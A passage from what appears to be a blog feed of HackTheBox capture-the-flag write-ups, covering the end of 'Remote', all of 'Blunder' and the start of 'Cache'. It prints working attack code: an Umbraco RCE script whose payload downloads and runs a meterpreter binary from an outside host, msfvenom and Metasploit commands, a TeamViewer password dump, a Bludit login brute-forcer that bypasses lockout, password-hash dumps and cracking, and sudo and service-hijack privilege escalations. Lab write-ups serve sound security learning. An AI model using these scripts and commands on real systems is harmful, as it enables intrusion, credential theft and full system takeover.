</code></pre></div>
<p>We want to use "Umbraco CMS 7.12.4 - (Authenticated) Remote code execution". We
get the script from our local exploitdb. Looking at the POC, it is launching a
<code>calc.exe</code> on the server. We try it to see if we get an error.</p>
<p>As there is no error we modifiy it to obtain a reverse shell:
* we use msfvenom to create a meterpreter: <code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe >reverse.exe</port></ip></code>
* we run a python simple HTTP server to share the executable
* we run metasploit multi handler
* Using <code>powershell</code> we download the executable binary and run it</p>
<p>The script is the following:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span><span class="p">;</span>
<span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span><span class="p">;</span>
<span class="k">def</span> <span class="nf">print_dict</span><span class="p">(</span><span class="n">dico</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="n">dico</span><span class="o">.</span><span class="n">items</span><span class="p">());</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Start"</span><span class="p">);</span>
<span class="c1"># Execute a calc for the PoC</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s1">'<?xml version="1.0"?><xsl:stylesheet <="" span="" version="1.0"><span class="se">\</span>
<span class="s1">xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" </span><span class="se">\</span>
<span class="s1">xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"></span><span class="se">\</span>
<span class="s1"><msxsl:script implements-prefix="csharp_user" language="C#">public string xml() </msxsl:script></span><span class="se">\</span>
<span class="s1">{ string cmd = "mkdir /tmp;iwr -uri http://10.10.14.80:8081/reverse.exe -outfile /tmp/reverse.exe;/tmp/reverse.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();</span><span class="se">\</span>
<span class="s1">proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;</span><span class="se">\</span>
<span class="s1">proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; </span><span class="se">\</span>
<span class="s1">proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </span><span class="se">\</span>
<span class="s1"><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"></xsl:value-of></xsl:template></span><span class="se">\</span>
<span class="s1"> </span></xsl:stylesheet> '</span><span class="p">;</span>
<span class="n">login</span> <span class="o">=</span> <span class="s2">"admin@htb.local"</span><span class="p">;</span>
<span class="n">password</span><span class="o">=</span><span class="s2">"baconandcheese"</span><span class="p">;</span>
<span class="n">host</span> <span class="o">=</span> <span class="s2">"http://10.10.10.180"</span><span class="p">;</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">session</span><span class="p">()</span>
<span class="n">url_main</span> <span class="o">=</span><span class="n">host</span><span class="o">+</span><span class="s2">"/umbraco/"</span><span class="p">;</span>
<span class="n">r1</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url_main</span><span class="p">);</span>
<span class="n">print_dict</span><span class="p">(</span><span class="n">r1</span><span class="o">.</span><span class="n">cookies</span><span class="p">);</span>
<span class="n">url_login</span> <span class="o">=</span> <span class="n">host</span><span class="o">+</span><span class="s2">"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"</span><span class="p">;</span>
<span class="n">loginfo</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"username"</span><span class="p">:</span><span class="n">login</span><span class="p">,</span><span class="s2">"password"</span><span class="p">:</span><span class="n">password</span><span class="p">};</span>
<span class="n">r2</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url_login</span><span class="p">,</span><span class="n">json</span><span class="o">=</span><span class="n">loginfo</span><span class="p">);</span>
<span class="n">url_xslt</span> <span class="o">=</span> <span class="n">host</span><span class="o">+</span><span class="s2">"/umbraco/developer/Xslt/xsltVisualize.aspx"</span><span class="p">;</span>
<span class="n">r3</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url_xslt</span><span class="p">);</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">r3</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s1">'html.parser'</span><span class="p">);</span>
<span class="n">VIEWSTATE</span> <span class="o">=</span> <span class="n">soup</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="nb">id</span><span class="o">=</span><span class="s2">"__VIEWSTATE"</span><span class="p">)[</span><span class="s1">'value'</span><span class="p">];</span>
<span class="n">VIEWSTATEGENERATOR</span> <span class="o">=</span> <span class="n">soup</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="nb">id</span><span class="o">=</span><span class="s2">"__VIEWSTATEGENERATOR"</span><span class="p">)[</span><span class="s1">'value'</span><span class="p">];</span>
<span class="n">UMBXSRFTOKEN</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">cookies</span><span class="p">[</span><span class="s1">'UMB-XSRF-TOKEN'</span><span class="p">];</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'UMB-XSRF-TOKEN'</span><span class="p">:</span><span class="n">UMBXSRFTOKEN</span><span class="p">};</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"__EVENTTARGET"</span><span class="p">:</span><span class="s2">""</span><span class="p">,</span><span class="s2">"__EVENTARGUMENT"</span><span class="p">:</span><span class="s2">""</span><span class="p">,</span><span class="s2">"__VIEWSTATE"</span><span class="p">:</span><span class="n">VIEWSTATE</span><span class="p">,</span><span class="s2">"__VIEWSTATEGENERATOR"</span><span class="p">:</span><span class="n">VIEWSTATEGENERATOR</span><span class="p">,</span><span class="s2">"ctl00$body$xsltSelection"</span><span class="p">:</span><span class="n">payload</span><span class="p">,</span><span class="s2">"ctl00$body$contentPicker$ContentIdValue"</span><span class="p">:</span><span class="s2">""</span><span class="p">,</span><span class="s2">"ctl00$body$visualizeDo"</span><span class="p">:</span><span class="s2">"Visualize+XSLT"</span><span class="p">};</span>
<span class="n">r4</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url_xslt</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">);</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"End"</span><span class="p">);</span>
</code></pre></div>
<p>That allow us to get a meterpreter on the box.</p>
<div class="highlight"><pre><span></span><code>meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
</code></pre></div>
<p>We can then use the meterpeter search function to found the user flag.</p>
<div class="highlight"><pre><span></span><code>meterpreter > search -f user.txt
Found 1 result...
c:\Users\Public\user.txt (34 bytes)
meterpreter > cat "c:\Users\Public\user.txt"
fd2b1f187e6f48be38c224cdcb61faf5
</code></pre></div>
<h1>Getting Root</h1>
<h2>TeamViewer way</h2>
<p>We run simple <code>ps</code> on the system to list the process.
We easily spot the TeamViewer process.</p>
<div class="highlight"><pre><span></span><code>meterpreter > ps
<snip>
2852 628 svchost.exe
2860 628 svchost.exe
2884 628 svchost.exe
2936 628 svchost.exe
2944 628 TeamViewer_Service.exe
</snip></code></pre></div>
<p>A few Google search lead us to a metasploit post module to retrieve TeamViewer passwords</p>
<div class="highlight"><pre><span></span><code>meterpreter > run post/windows/gather/credentials/teamviewer_passwords
[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!
</code></pre></div>
<p>I struggle a lot there trying to connect to the TeamViewer session.
First I looted the TeamViewer ID in
<code>C:\Program Files (x86)\TeamViewer\Version7\TeamViewer7_Logfile.log</code> first lines.</p>
<p>As the box is not connected to the Internet it is not possible to connect using
the TeamViewer ID. Therefore I tried to connect localy
<a href="https://community.teamviewer.com/t5/Knowledge-Base/Can-TeamViewer-be-used-within-a-local-network-LAN-only/ta-p/4618">using directly the IP address</a>
but this also doesn't work.</p>
<p><img alt="TeamViewer" class="image-process-article-image" src="/media/2020.11/derivatives/article-image/remote_03.png"/></p>
<p>The solution was simpler as this is a simple password reuse. We fire a psexec
and connect as administrator using
the TeamViewer password and got a shell as administrator and can easily get
the root flag.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~/installed_tools/impacket/examples# psexec.py administrator@10.10.10.180
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.180.....
[*] Found writable share ADMIN$
[*] Uploading file AmYWRVZa.exe
[*] Opening SVCManager on 10.10.10.180.....
[*] Creating service PmSN on 10.10.10.180.....
[*] Starting service PmSN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd C:\Users\administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
66f9b552d94ea7c55919dc1bfbaff7e1
</code></pre></div>
<h2>Using CVE-2019-1322</h2>
<p>There is another unintended method to root this box. This method is not reliable
as the command to start the Update Orchestrator Service sometime return an error
(maybe because I used public servers and other players were also starting and stop the service).</p>
<p>We run <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite">Windows PEASS</a>
on the box. The output shows that some patches are missing mostly the one for
CVE-2019-1322.</p>
<div class="highlight"><pre><span></span><code><snip>
[?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
OS Build Number: 17763
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
[!] CVE-2019-0841 : VULNERABLE
[>] https://github.com/rogue-kdc/CVE-2019-0841
[>] https://rastamouse.me/tags/cve-2019-0841/
[!] CVE-2019-1064 : VULNERABLE
[>] https://www.rythmstick.net/posts/cve-2019-1064/
[!] CVE-2019-1130 : VULNERABLE
[>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
[!] CVE-2019-1253 : VULNERABLE
[>] https://github.com/padovah4ck/CVE-2019-1253
[!] CVE-2019-1315 : VULNERABLE
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
[!] CVE-2019-1385 : VULNERABLE
[>] https://www.youtube.com/watch?v=K6gHnr-VkAg
[!] CVE-2019-1388 : VULNERABLE
[>] https://github.com/jas502n/CVE-2019-1388
[!] CVE-2019-1405 : VULNERABLE
[>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
</snip></code></pre></div>
<p>As the <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/">article</a>
precise we can run commands as <code>SYSTEM</code> on the box so we stop the service,
configure it to copy the root flag in <code>C:\a.txt</code> and start the service again.</p>
<div class="highlight"><pre><span></span><code>C:\windows\system32\inetsrv>sc.exe stop UsoSvc
sc.exe stop UsoSvc
[SC] ControlService FAILED 1062:
The service has not been started.
C:\windows\system32\inetsrv>sc config UsoSvc binPath="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\a.txt"
sc config UsoSvc binPath="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\a.txt"
[SC] ChangeServiceConfig SUCCESS
C:\windows\system32\inetsrv>sc.exe start UsoSvc
sc.exe start UsoSvc
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
</code></pre></div>
<p>We can now get the root flag.</p>
<div class="highlight"><pre><span></span><code>C:\windows\system32\inetsrv>type C:\a.txt
type C:\a.txt
66f9b552d94ea7c55919dc1bfbaff7e1
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box was supposed to be easy. Clearly the root part took me way too long. My
metasploit was outdated and doesn't had the post module for TeamViewer. And
after getting the TeamViewer credentials I really tried to connect using the
solution.</p>
<p>Nevertheless the box was really interesting.</p>HTB: Blunder2020-10-19T08:45:00+02:002020-10-19T08:45:00+02:00maggicktag:maggick.fr,2020-10-19:/2020/10/htb-blunder.html<p><img alt="Blunder Card" class="align-left" src="/media/2020.10/blunder_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/254">Blunder</a>.
This box was created by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a> and publish on
May 30, 2020. The box is rated as an easy box. It implies enumeration,
generating a custom wordlist with <code>cewl</code>, using metasploit, cracking a password
and a <code>sudo</code> vulnerability.</p>
<p><img alt="Blunder Card" class="align-left" src="/media/2020.10/blunder_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/254">Blunder</a>.
This box was created by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a> and publish on
May 30, 2020. The box is rated as an easy box. It implies enumeration,
generating a custom wordlist with <code>cewl</code>, using metasploit, cracking a password
and a <code>sudo</code> vulnerability.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 is open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Jun 1 05:39:09 2020 as: nmap -oN nmap -sSV -p- 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up (0.60s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 1 06:01:11 2020 -- 1 IP address (1 host up) scanned in 1322.38 seconds
</code></pre></div>
<h2>Web</h2>
<p>The website present three "interesting" facts.</p>
<p><img alt="home page" class="image-process-article-image" src="/media/2020.10/derivatives/article-image/blunder_01.png"/></p>
<p>There is nothing really interesting on the site.
We notice two external links, one to <a href="https://www.twitter.com/WhortonMr">the box creator twitter
account</a> the other one to <a href="https://www.computerhope.com/history/1996.htm">computer hope page
for 1996</a>.</p>
<p>The <code>robots.txt</code> file is a basic one.
We launch a <a href="https://github.com/ffuf/ffuf">fuff</a> scan with a few extensions. And
discover an interesting file: <code>todo.txt</code>.</p>
<div class="highlight"><pre><span></span><code>$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.191/FUZZ -mc 200 -e .txt,.php,.php.bak,.pdf
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://10.10.10.191/FUZZ
:: Extensions : .txt .php .php.bak .pdf
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
[Status: 200, Size: 8162, Words: 841, Lines: 197]
0 [Status: 200, Size: 8162, Words: 841, Lines: 197]
about [Status: 200, Size: 3280, Words: 225, Lines: 106]
install.php [Status: 200, Size: 30, Words: 5, Lines: 1]
LICENSE [Status: 200, Size: 1083, Words: 155, Lines: 22]
robots.txt [Status: 200, Size: 22, Words: 3, Lines: 2]
robots.txt [Status: 200, Size: 22, Words: 3, Lines: 2]
todo.txt [Status: 200, Size: 118, Words: 20, Lines: 5]
:: Progress: [23070/23070] :: Job [1/1] :: 34 req/sec :: Duration: [0:11:15] :: Errors: 0 ::
</code></pre></div>
<p>The content of the <code>todo.txt</code> file is the following:</p>
<blockquote>
<p>-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING</p>
</blockquote>
<p>We deduce that the website use a CMS and that the user might be <code>fergus</code>.</p>
<p>We quickly discover the <code>/admin</code> page which is the login page for the CMS:
<a href="https://www.bludit.com/">bludit</a>.</p>
<p><code>Searchspoilt</code> provide two authenticated exploit for <code>bludit</code>. A Google search
"bludit authentication bypass" direct us to <a href="https://rastating.github.io/bludit-brute-force-mitigation-bypass/">an article about bypass the bludit
brute force mitigation mechanism</a>
which contain a POC in Python.</p>
<p>We got an user (<code>fergus</code>) but no password.
We use <a href="https://github.com/digininja/CeWL">cewl</a> to generate a list of word from
the website. As mentioned earlier there is two offsite links so we configure
<code>cewl</code> to just parse our page with <code>-d 1</code>. Also we want to save the password in
a file <code>pass</code> with the <code>-w</code> option.</p>
<div class="highlight"><pre><span></span><code>cewl -d 1 http://10.10.10.191 -w pass
</code></pre></div>
<p>We quickly rewrite the POC in order to load the passwords from our <code>pass</code> file.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="n">host</span> <span class="o">=</span> <span class="s1">'http://10.10.10.191'</span>
<span class="n">login_url</span> <span class="o">=</span> <span class="n">host</span> <span class="o">+</span> <span class="s1">'/admin/login'</span>
<span class="n">username</span> <span class="o">=</span> <span class="s1">'fergus'</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"pass"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">login_page</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">login_url</span><span class="p">)</span>
<span class="n">csrf_token</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">'input.+?name="tokenCSRF".+?value="(.+?)"'</span><span class="p">,</span> <span class="n">login_page</span><span class="o">.</span><span class="n">text</span><span class="p">)</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'[*] Trying: </span><span class="si">{p}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">p</span> <span class="o">=</span> <span class="n">password</span><span class="p">))</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
<span class="s1">'X-Forwarded-For'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span>
<span class="s1">'User-Agent'</span><span class="p">:</span> <span class="s1">'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'</span><span class="p">,</span>
<span class="s1">'Referer'</span><span class="p">:</span> <span class="n">login_url</span>
<span class="p">}</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="s1">'tokenCSRF'</span><span class="p">:</span> <span class="n">csrf_token</span><span class="p">,</span>
<span class="s1">'username'</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span>
<span class="s1">'password'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span>
<span class="s1">'save'</span><span class="p">:</span> <span class="s1">''</span>
<span class="p">}</span>
<span class="n">login_result</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">login_url</span><span class="p">,</span> <span class="n">headers</span> <span class="o">=</span> <span class="n">headers</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">,</span> <span class="n">allow_redirects</span> <span class="o">=</span> <span class="kc">False</span><span class="p">)</span>
<span class="k">if</span> <span class="s1">'location'</span> <span class="ow">in</span> <span class="n">login_result</span><span class="o">.</span><span class="n">headers</span><span class="p">:</span>
<span class="k">if</span> <span class="s1">'/admin/dashboard'</span> <span class="ow">in</span> <span class="n">login_result</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s1">'location'</span><span class="p">]:</span>
<span class="nb">print</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'SUCCESS: Password found!'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Use </span><span class="si">{u}</span><span class="s1">:</span><span class="si">{p}</span><span class="s1"> to login.'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">u</span> <span class="o">=</span> <span class="n">username</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="n">password</span><span class="p">))</span>
<span class="nb">print</span><span class="p">()</span>
<span class="k">break</span>
</code></pre></div>
<p>We run the script and found the password <code>RolandDeschain</code>.</p>
<div class="highlight"><pre><span></span><code>$python3 bludit_auth_bypass.py
[*] Trying: Load
[*] Trying: Plugins
[*] Trying: and
<snip>
[*] Trying: best
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain
SUCCESS: Password found!
Use fergus:RolandDeschain to login.
</snip></code></pre></div>
<h2>metasploit</h2>
<p>One of the two authenticated exploit shown by searchsploit is a metasploit
module. So we fire up <code>msf</code> and search for <code>bludit</code>. Only one module pop up. We
directly use this module and set the different options. Once run we get a
<code>meterpreter</code> on the box as <code>www-data</code>.</p>
<div class="highlight"><pre><span></span><code>msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set rhost 10.10.10.191
rhost => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > run
</code></pre></div>
<p>As <code>bludit</code> is a "flat files" CMS every information is stored in PHP file. We
quickly found a <code>users.php</code> file containing the user information including
password hashes.</p>
<div class="highlight"><pre><span></span><code>meterpreter > cat ../databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Admin",
"firstName": "Administrator",
"lastName": "",
"role": "admin",
"password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
"salt": "5dde2887e7aca",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""
},
"fergus": {
"firstName": "",
"lastName": "",
"nickname": "",
"description": "",
"role": "author",
"password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
"salt": "jqxpjfnv",
"email": "",
"registered": "2019-11-27 13:26:44",
"tokenRemember": "",
"tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"codepen": "",
"instagram": "",
"github": "",
"gitlab": "",
"linkedin": "",
"mastodon": ""
}
</code></pre></div>
<p>Looking at <a href="https://github.com/bludit/bludit/blob/master/bl-kernel/users.class.php#L155">the code</a>
we quickly found that the hash algorithm is SHA1 with salt.</p>
<p>Looking more at the code we found another bludit folder with a newer version.
This time the <code>users.php</code> file contain a password without salt for the <code>hugo</code>
user.</p>
<div class="highlight"><pre><span></span><code>meterpreter > getwd
/var/www/bludit-3.9.2/bl-content
meterpreter > cd ../../
meterpreter > ls
Listing: /var/www
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-05-19 10:13:22 -0400 bludit-3.10.0a
40775/rwxrwxr-x 4096 dir 2020-04-28 07:18:03 -0400 bludit-3.9.2
40755/rwxr-xr-x 4096 dir 2019-11-28 04:34:02 -0500 html
meterpreter > cd bludit-3.10.0a
meterpreter > ls
Listing: /var/www/bludit-3.10.0a
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2019-10-19 04:10:46 -0400 .github
100644/rw-r--r-- 582 fil 2019-10-19 04:10:46 -0400 .gitignore
100644/rw-r--r-- 395 fil 2019-10-19 04:10:46 -0400 .htaccess
100644/rw-r--r-- 1083 fil 2019-10-19 04:10:46 -0400 LICENSE
100644/rw-r--r-- 2893 fil 2019-10-19 04:10:46 -0400 README.md
40755/rwxr-xr-x 4096 dir 2020-05-19 05:03:34 -0400 bl-content
40755/rwxr-xr-x 4096 dir 2019-10-19 04:10:46 -0400 bl-kernel
40755/rwxr-xr-x 4096 dir 2019-10-19 04:10:46 -0400 bl-languages
40755/rwxr-xr-x 4096 dir 2019-10-19 04:10:46 -0400 bl-plugins
40755/rwxr-xr-x 4096 dir 2019-10-19 04:10:46 -0400 bl-themes
100644/rw-r--r-- 900 fil 2020-05-19 06:27:40 -0400 index.php
100644/rw-r--r-- 20306 fil 2019-10-19 04:10:46 -0400 install.php
meterpreter > cd bl-content
meterpreter > ls
Listing: /var/www/bludit-3.10.0a/bl-content
===========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-05-19 05:10:14 -0400 databases
40755/rwxr-xr-x 4096 dir 2020-05-19 05:03:34 -0400 pages
40755/rwxr-xr-x 4096 dir 2020-05-19 05:03:34 -0400 tmp
40755/rwxr-xr-x 4096 dir 2020-05-19 05:03:34 -0400 uploads
40755/rwxr-xr-x 4096 dir 2020-05-19 05:03:34 -0400 workspaces
meterpreter > cat databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
</code></pre></div>
<p>We put the hash in a local file and run john the ripper on it with the <code>rockyou</code>
dictionary. The come up empty. So we had the <code>--rules</code> option to add a few rules
to our dictionary. The password <code>Password120</code> is quickly found.</p>
<div class="highlight"><pre><span></span><code>$john haash -w=tools/password_lists/rockyou.txt --rules
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Password120 (hugo)
</code></pre></div>
<p>We can now us <code>su</code> to switch user to <code>hugo</code> and get the user flag but first of all we need an
interactive shell.</p>
<div class="highlight"><pre><span></span><code>python3 -c 'import pty; pty.spawn("/bin/sh")'
$ su hugo
su hugo
Password: Password120
id
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cd
cd
hugo@blunder:~$ cat user.txt
cat user.txt
2fc521288709e7da0e7119128831b13c
</code></pre></div>
<h1>Root</h1>
<p>We list our <code>sudo</code> privileges and found that we can run <code>/bin/bash</code> as every
user except <code>root</code>. This a <a href="https://resources.whitesourcesoftware.com/blog-whitesource/new-vulnerability-in-sudo-cve-2019-14287">"recent" sudo vulnerability</a>
and we just need to use the <code>-u#-1</code> parameter to get a <code>root</code> shell and get the flag.</p>
<div class="highlight"><pre><span></span><code>hugo@blunder:~$ sudo -l
sudo -l
Password: Password120
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
Password: Password120
root@blunder:/# cd /root/
cd /root/
root@blunder:/root# cat root.txt
cat root.txt
01efa72b77e36192eda3c5a08a9ba4a8
</code></pre></div>
<h1>Wrapping up</h1>
<p>For an easy box this was easy. I was wondering when the <code>sudo</code> vulnerability
will appear on HTB.</p>HTB: Cache2020-10-10T18:05:00+02:002020-10-10T18:05:00+02:00maggicktag:maggick.fr,2020-10-10:/2020/10/htb-cache.html<p><img alt="Cache card" class="align-left" src="/media/2020.10/cache_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/251">Cache</a> created by
<a href="https://www.hackthebox.com/home/users/profile/23227">ASHacker</a> and publish on
May 9, 2020.
This box is classified as a medium machine. The user part is the harder as it
involve some enumeration, chaining two exploit for
<a href="https://www.open-emr.org/">openEMR</a>. The root part is
quit easier as it was a simple "exploitation" the box's <code>memcache</code> and the
docker permissions.</p>
<p><img alt="Cache card" class="align-left" src="/media/2020.10/cache_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/251">Cache</a> created by
<a href="https://www.hackthebox.com/home/users/profile/23227">ASHacker</a> and publish on
May 9, 2020.
This box is classified as a medium machine. The user part is the harder as it
involve some enumeration, chaining two exploit for
<a href="https://www.open-emr.org/">openEMR</a>. The root part is
quit easier as it was a simple "exploitation" the box's <code>memcache</code> and the
docker permissions.</p>
<h1>User</h1>
